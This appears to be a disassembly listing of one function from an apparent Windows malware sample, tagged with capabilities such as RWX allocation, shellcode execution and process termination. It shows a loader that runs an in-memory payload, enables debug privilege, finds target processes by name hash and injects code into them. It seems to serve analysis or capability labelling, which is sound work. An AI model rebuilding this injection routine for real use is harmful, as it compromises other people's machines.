Function at 0x4049ae
Capabilities:
Allocate or change rwx memory
Enumerate processes
Execute shellcode via indirect call
Query environment variable
Set environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a0
push ebx
push esi
push edi
xor ebx, ebx
push 0x124
lea eax, [ebp - 0x194]
push ebx
push eax
mov dword [ebp - 0x198], ebx
call sub.ntdll.dll_memset
push 0x103
lea eax, [ebp - 0x29b]
push ebx
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x29c], bl
call sub.ntdll.dll_memset
add esp, 0x18
mov edi, 0x104
push edi
lea eax, [ebp - 0x29c]
push eax
push 0x48707389
call fcn.004024bf
pop ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
test eax, eax
je 0x404a3b
lea eax, [ebp - 0x29c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404a27
xor ecx, ecx
sub eax, edx
cmp eax, 4
sete cl
mov dword [ebp - 0x38], ecx
call fcn.00404882
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp - 0x14]
push ecx
push 0x406208
push 0x406204
push eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0x4e0
call fcn.00404483
add esp, 0x14
test eax, eax
je 0x404f4a
push dword [ebp - 4]
mov esi, dword [ebp - 0x14]
push esi
call fcn.004030b0
pop ecx
pop ecx
test eax, eax
je 0x404f4a
lea eax, [esi + 4]
push edi
push eax
push ebx
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x406200
push 0x4061fc
push dword [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.00404483
add esp, 0x14
test eax, eax
je 0x404f4a
mov ebx, dword [ebp - 4]
mov eax, ebx
and eax, 0xfff
je 0x404acf
mov ecx, 0x1000
sub ecx, eax
add ebx, ecx
mov edi, dword [ebp - 0x24]
push ebx
push edi
call fcn.004030b0
pop ecx
pop ecx
test eax, eax
je 0x404f48
push pe_nt_image_headers32
push 0x3000
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea edi, [edi + ebx - 0x4e0]
mov ecx, 0x138
rep movsd dword es:[edi], dword [esi]
and dword [ebp - 0xc], 0
push 0xffffffffffffffff
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
js 0x404f48
push ebx
push dword [ebp - 0x24]
push dword [ebp - 0xc]
call sub.ntdll.dll_memcpy
add esp, 0xc
call dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov edi, dword [ebp - 0x14]
lea esi, [eax + ebx - 0x4e0]
push 0x4000
lea eax, [ebp - 0x1c]
push eax
mov ebx, 0x138
lea eax, [ebp - 0xc]
mov ecx, ebx
push eax
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.ntdll.dll_NtFreeVirtualMemory]
push 0xffffffffffffffff
call esi
and dword [ebp - 0x1c], 0
push 0x8000
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0xffffffffffffffff
call esi
mov eax, dword fs:[0x18]
and dword [eax + 0x34], 0
mov eax, dword [ebp - 0x14]
add eax, 0x390
push eax
mov dword [ebp - 0x44], eax
call fcn.00403424
mov dword [ebp - 0x18], eax
mov eax, dword fs:[0x18]
cmp dword [eax + 0x34], 0xb7
pop ecx
je 0x404f48
mov esi, dword [ebp - 0x14]
lea eax, [esi + 0x108]
lea edx, [ebp - 0x3a0]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x404bb0
lea eax, [esi + 0x20c]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404bc2
lea edi, [ebp - 0x3a0]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x404bd2
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x3a0]
push eax
push dword [ebp - 0x2c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.ntdll.dll__strcmpi
pop ecx
pop ecx
test eax, eax
je 0x404eea
cmp dword [ebp - 0x38], 0
jne 0x404eea
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0x4061f8
push 0x4061fc
push dword [ebp - 0x20]
call fcn.00404483
add esp, 0x14
test eax, eax
je 0x404f48
mov eax, dword [ebp - 4]
and eax, 0xfff
je 0x404c4a
mov ecx, 0x1000
sub ecx, eax
add dword [ebp - 4], ecx
push dword [ebp - 4]
mov esi, dword [ebp - 0x3c]
push esi
call fcn.004030b0
pop ecx
pop ecx
test eax, eax
je 0x404f48
mov eax, dword [ebp - 4]
lea edi, [esi + eax - 0x4e0]
mov esi, dword [ebp - 0x14]
mov ecx, ebx
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 1
xor edi, edi
push edi
push 2
mov dword [ebp - 0x28], edi
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 0x24], eax
cmp eax, 0xffffffff
je 0x404e6a
lea eax, [ebp - 0xd]
push eax
push edi
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x198]
push eax
push dword [ebp - 0x24]
mov dword [ebp - 0x198], 0x128
call sub.KERNEL32.DLL_Process32First
jmp 0x404e54
lea eax, [ebp - 0x174]
push eax
call fcn.00405313
pop ecx
mov ecx, dword [ebp - 0x190]
cmp ecx, edi
je 0x404e45
cmp eax, 0x9e7d3072
je 0x404e45
cmp eax, 0x353ecbfa
je 0x404e45
cmp eax, 0x563eb7fa
je 0x404e45
cmp eax, 0x43048a33
je 0x404e45
cmp dword [ebp - 0x20], edi
je 0x404d2d
cmp eax, 0x490a0972
jne 0x404e45
cmp ecx, dword [ebp - 0x30]
je 0x404e45
mov eax, dword [ebp - 0x14]
add eax, 0x20c
push eax
lea eax, [ebp - 0x174]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
je 0x404e45
push dword [ebp - 0x190]
mov dword [ebp - 0x2c], 0x1f4
push edi
push 0x438
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
cmp esi, edi
je 0x404e33
lea eax, [ebp - 0x40]
push eax
push 0x18
lea eax, [ebp - 0x5c]
push eax
push edi
push esi
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
js 0x404d95
cmp dword [ebp - 0x58], edi
jne 0x404d95
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x404e45
push pe_nt_image_headers32
push 0x3000
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], edi
mov edi, dword [ebp - 4]
push eax
push esi
mov dword [ebp - 0x1c], edi
call dword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
jns 0x404dc5
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor edi, edi
jmp 0x404e40
lea eax, [ebp - 0x34]
push eax
push edi
push dword [ebp - 0x3c]
push dword [ebp - 0xc]
push esi
call dword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
js 0x404dba
cmp dword [ebp - 0x34], edi
jne 0x404dba
push 0
lea eax, [ebp - 0x18]
push eax
push 0x40356f
push dword [ebp - 0xc]
push esi
call fcn.00403fb4
add esp, 0x14
test eax, eax
jne 0x404e0e
cmp dword [ebp - 0x18], eax
jne 0x404dba
push dword [ebp - 0x44]
call fcn.00403424
pop ecx
mov dword [ebp - 0x18], eax
jmp 0x404dba
push esi
mov dword [ebp - 0x28], 1
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0xbb8
call ebx
push dword [ebp - 0x14]
call fcn.00403584
pop ecx
mov dword [ebp - 8], eax
xor edi, edi
jmp 0x404e36
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 8], edi
jne 0x404e5c
cmp dword [ebp - 0x2c], edi
je 0x404e45
push dword [ebp - 0x2c]
call ebx
lea eax, [ebp - 0x198]
push eax
push dword [ebp - 0x24]
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x404ccd
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [ebp - 8], edi
jne 0x404eb3
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x28], edi
je 0x404ea7
xor esi, esi
mov dword [ebp - 8], edi
cmp dword [ebp - 8], edi
jne 0x404f48
push dword [ebp - 0x14]
call fcn.00403584
pop ecx
push 0x64
mov dword [ebp - 8], eax
inc esi
call ebx
cmp esi, 0x384
jb 0x404e77
cmp dword [ebp - 8], edi
je 0x404c87
jmp 0x404f48
push 0x3e8
call ebx
jmp 0x404c87
xor esi, esi
mov dword [ebp - 8], edi
jmp 0x404ebc
xor edi, edi
cmp dword [ebp - 8], edi
jne 0x404f48
push dword [ebp - 0x14]
call fcn.00403584
pop ecx
push 0x64
mov dword [ebp - 8], eax
inc esi
call ebx
cmp esi, 0x64
jb 0x404eba
cmp dword [ebp - 8], 0
jne 0x404f48
and dword [ebp - 0x20], 0
jmp 0x404c87
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x28]
push eax
push 0x4061f4
push 0x406204
push dword [ebp - 0x20]
call fcn.00404483
add esp, 0x14
test eax, eax
je 0x404f48
push dword [ebp - 0x28]
mov esi, dword [ebp - 0x14]
lea eax, [esi + 0x410]
push eax
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableA]
mov eax, dword [ebp - 0x18]
mov dword [esi], eax
lea eax, [ebp - 0x70]
push eax
push 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0x408af8
call fcn.00403b09
add esp, 0x14
test eax, eax
je 0x404f48
push esi
call dword [ebp - 0x30]
xor ebx, ebx
cmp dword [ebp - 0x18], ebx
je 0x404f58
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [ebp - 0x38], ebx
jne 0x404f64
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret